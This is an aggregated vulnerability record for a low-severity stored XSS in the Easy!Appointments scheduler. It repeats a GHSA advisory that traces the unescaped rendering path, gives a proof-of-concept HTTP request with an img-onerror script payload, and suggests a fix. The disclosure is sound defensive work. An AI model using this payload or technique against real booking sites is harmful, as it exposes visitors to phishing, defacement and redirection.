{"id":"CVE-2026-52838","aliases":["EUVD-2026-43705","GHSA-996f-334j-67g7"],"status":"published","title":"Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS","description":"Easy!Appointments is a self hosted appointment scheduler. Versions prior to 1.6.0 allow administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization. An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page. Version 1.6.0 fixes the issue.","severity":{"version":"3.1","score":2.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00223,"percentile":0.12964,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2026-07-14T15:07:43Z","modified":"2026-10-28T02:30:24Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"alextselegidis/easyappointments","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.5.2"}]}]},{"source":"osv","ecosystem":"Packagist","package":"alextselegidis/easyappointments","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.5.2"}]}],"versions":["1.1.0","1.1.0-beta.1","1.1.0-beta.2","1.1.1","1.2.0","1.2.0-alpha.1","1.2.0-beta.1","1.2.1","1.3.0","1.3.0-alpha.1","1.3.0-beta.1","1.3.0-beta.2","1.3.1","1.3.1-beta.1","1.3.2","1.3.2-beta.1","1.4.0","1.4.0-beta.1","1.4.1","1.4.2","1.4.2-beta.1","1.4.3","1.4.3-beta.1","1.5.2"]}],"products":[{"vendor":"alextselegidis","product":"easyappointments"}],"references":[{"url":"https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-996f-334j-67g7","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/alextselegidis/easyappointments/commit/629a0415f54f75556c17f4f5d9c77fda1fdbdeae","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52838","tags":["advisory"]},{"url":"https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-996f-334j-67g7"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/52xxx/CVE-2026-52838.json","tags":["advisory"]},{"url":"https://github.com/alextselegidis/easyappointments","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-52838","title":"Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS","description":"Easy!Appointments is a self hosted appointment scheduler. Versions prior to 1.6.0 allow administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization. An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page. Version 1.6.0 fixes the issue.","status":"published","published":"2026-07-14T15:07:43.865Z","modified":"2026-07-14T16:26:53.608Z","cvss":[{"version":"3.1","score":2.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:40:57.334596Z"}],"euvd":[{"id":"EUVD-2026-43705","description":"Easy!Appointments is a self hosted appointment scheduler. Versions prior to 1.6.0 allow administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization. An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page. Version 1.6.0 fixes the issue.","status":"published","published":"2026-07-14T15:07:43Z","modified":"2026-07-14T16:26:53Z","cvss":[{"version":"3.1","score":2.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N","level":"low"}],"updated_at":"2026-11-02T18:19:59.200665Z"}],"ghsa":[{"id":"GHSA-996f-334j-67g7","title":"Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS","description":"## Summary\n \nEasy!Appointments allows administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization:\n \n```php\n\u003cp\u003e\u003c?= vars('message_text') ?\u003e\u003c/p\u003e\n```\n \nAn authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.\n \n---\n \n## Root Cause — Step by Step Code Flow\n \n### Step 1 — Rich text editor value stored without sanitization\nThe booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:\n \n```javascript\n// assets/js/pages/booking_settings.js line 61-92\nbookingSettings.push({\n    name: 'disable_booking_message',\n    value: $disableBookingMessage.trumbowyg('html'),\n});\n```\n \n### Step 2 — Settings controller saves value verbatim\nThe backend settings controller persists the submitted value without any HTML sanitization:\n \n```php\n// application/controllers/Booking_settings.php line 76-104\n$this-\u003esettings_model-\u003esave($setting);\n```\n \n### Step 3 — Public booking controller forwards stored value to view\nWhen booking is disabled, the public booking controller loads the stored message and passes it directly to the view:\n \n```php\n// application/controllers/Booking.php line 113-132\n$disable_booking_message = setting('disable_booking_message');\n \nhtml_vars([\n    'message_text' =\u003e $disable_booking_message,\n]);\n```\n \n### Step 4 — Public view renders value without escaping\nThe booking message view emits the value raw using PHP's short echo tag with no escaping:\n \n```php\n// application/views/pages/booking_message.php line 10-12\n\u003cp\u003e\u003c?= vars('message_text') ?\u003e\u003c/p\u003e\n```\n \nNo `htmlspecialchars()`, no sanitization, no template escaping is applied at any point in this rendering path.\n \n---\n \n## Proof of Concept\n \n**Step 1 — Store malicious disabled-booking message as admin:**\n \n```http\nPOST /index.php/booking_settings/save HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cadmin-session-cookie\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026booking_settings[0][name]=disable_booking\u0026booking_settings[0][value]=1\u0026booking_settings[1][name]=disable_booking_message\u0026booking_settings[1][value]=\u003cimg src=x onerror=alert(\"easyappointments xss by ashrexon\")\u003e\n```\n \nResponse: `200 OK` — settings saved successfully\n \n**Step 2 — Unauthenticated visitor opens public booking page:**\n \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:18094\n(no authentication)\n```\n \n**Observed response fragment:**\n```html\n\u003cp\u003e\u003cimg src=x onerror=alert(\"easyappointments xss by ashrexon\")\u003e\u003c/p\u003e\n```\n \n**Observed browser behavior:**\n \n`alert(\"easyappointments xss by ashrexon\")` executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.\n \n**Runtime verification result:**\n```\nadmin login ok\nsettings save ok\npayload reflected on public page\nPASS\n```\n \n---\n \n## Real World Impact\n \nEasy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:\n \n- Execute arbitrary JavaScript in visitor browsers on the trusted booking domain\n- Phish visitor credentials or personal information during booking downtime\n- Deface the public booking page during maintenance or outage windows\n- Redirect visitors to attacker-controlled sites\n---\n \n## Suggested Fix\n \nEscape the message value before rendering in the view:\n \n```php\n// application/views/pages/booking_message.php\n\u003cp\u003e\u003c?= e(vars('message_text')) ?\u003e\u003c/p\u003e\n```\n \nAlternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the `disable_booking_message` value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25","status":"published","published":"2026-07-29T16:30:09Z","modified":"2026-07-29T16:30:11Z","cvss":[{"version":"3.1","score":2.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:40:54.767849Z"}],"nvd":[{"id":"CVE-2026-52838","description":"Easy!Appointments is a self hosted appointment scheduler. Versions prior to 1.6.0 allow administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization. An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page. Version 1.6.0 fixes the issue.","status":"published","published":"2026-07-14T16:17:00.41Z","modified":"2026-10-24T21:10:00.13Z","cvss":[{"version":"3.1","score":2.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N","level":"low","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:29.114188Z"}],"osv":[{"id":"CVE-2026-52838","title":"Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS","description":"Easy!Appointments is a self hosted appointment scheduler. Versions prior to 1.6.0 allow administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization. An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page. Version 1.6.0 fixes the issue.","status":"published","published":"2026-07-14T15:07:43.865Z","modified":"2026-10-28T02:30:24.341709522Z","cvss":[{"version":"3.1","score":2.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:07.431113Z"},{"id":"GHSA-996f-334j-67g7","title":"Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS","description":"## Summary\n \nEasy!Appointments allows administrators to define a custom \"booking disabled\" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization:\n \n```php\n\u003cp\u003e\u003c?= vars('message_text') ?\u003e\u003c/p\u003e\n```\n \nAn authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.\n \n---\n \n## Root Cause — Step by Step Code Flow\n \n### Step 1 — Rich text editor value stored without sanitization\nThe booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:\n \n```javascript\n// assets/js/pages/booking_settings.js line 61-92\nbookingSettings.push({\n    name: 'disable_booking_message',\n    value: $disableBookingMessage.trumbowyg('html'),\n});\n```\n \n### Step 2 — Settings controller saves value verbatim\nThe backend settings controller persists the submitted value without any HTML sanitization:\n \n```php\n// application/controllers/Booking_settings.php line 76-104\n$this-\u003esettings_model-\u003esave($setting);\n```\n \n### Step 3 — Public booking controller forwards stored value to view\nWhen booking is disabled, the public booking controller loads the stored message and passes it directly to the view:\n \n```php\n// application/controllers/Booking.php line 113-132\n$disable_booking_message = setting('disable_booking_message');\n \nhtml_vars([\n    'message_text' =\u003e $disable_booking_message,\n]);\n```\n \n### Step 4 — Public view renders value without escaping\nThe booking message view emits the value raw using PHP's short echo tag with no escaping:\n \n```php\n// application/views/pages/booking_message.php line 10-12\n\u003cp\u003e\u003c?= vars('message_text') ?\u003e\u003c/p\u003e\n```\n \nNo `htmlspecialchars()`, no sanitization, no template escaping is applied at any point in this rendering path.\n \n---\n \n## Proof of Concept\n \n**Step 1 — Store malicious disabled-booking message as admin:**\n \n```http\nPOST /index.php/booking_settings/save HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cadmin-session-cookie\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026booking_settings[0][name]=disable_booking\u0026booking_settings[0][value]=1\u0026booking_settings[1][name]=disable_booking_message\u0026booking_settings[1][value]=\u003cimg src=x onerror=alert(\"easyappointments xss by ashrexon\")\u003e\n```\n \nResponse: `200 OK` — settings saved successfully\n \n**Step 2 — Unauthenticated visitor opens public booking page:**\n \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:18094\n(no authentication)\n```\n \n**Observed response fragment:**\n```html\n\u003cp\u003e\u003cimg src=x onerror=alert(\"easyappointments xss by ashrexon\")\u003e\u003c/p\u003e\n```\n \n**Observed browser behavior:**\n \n`alert(\"easyappointments xss by ashrexon\")` executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.\n \n**Runtime verification result:**\n```\nadmin login ok\nsettings save ok\npayload reflected on public page\nPASS\n```\n \n---\n \n## Real World Impact\n \nEasy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:\n \n- Execute arbitrary JavaScript in visitor browsers on the trusted booking domain\n- Phish visitor credentials or personal information during booking downtime\n- Deface the public booking page during maintenance or outage windows\n- Redirect visitors to attacker-controlled sites\n---\n \n## Suggested Fix\n \nEscape the message value before rendering in the view:\n \n```php\n// application/views/pages/booking_message.php\n\u003cp\u003e\u003c?= e(vars('message_text')) ?\u003e\u003c/p\u003e\n```\n \nAlternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the `disable_booking_message` value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25","status":"published","published":"2026-07-29T16:30:09Z","modified":"2026-07-29T16:45:35.59360483Z","cvss":[{"version":"3.1","score":2.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:43.524801Z"}]}}
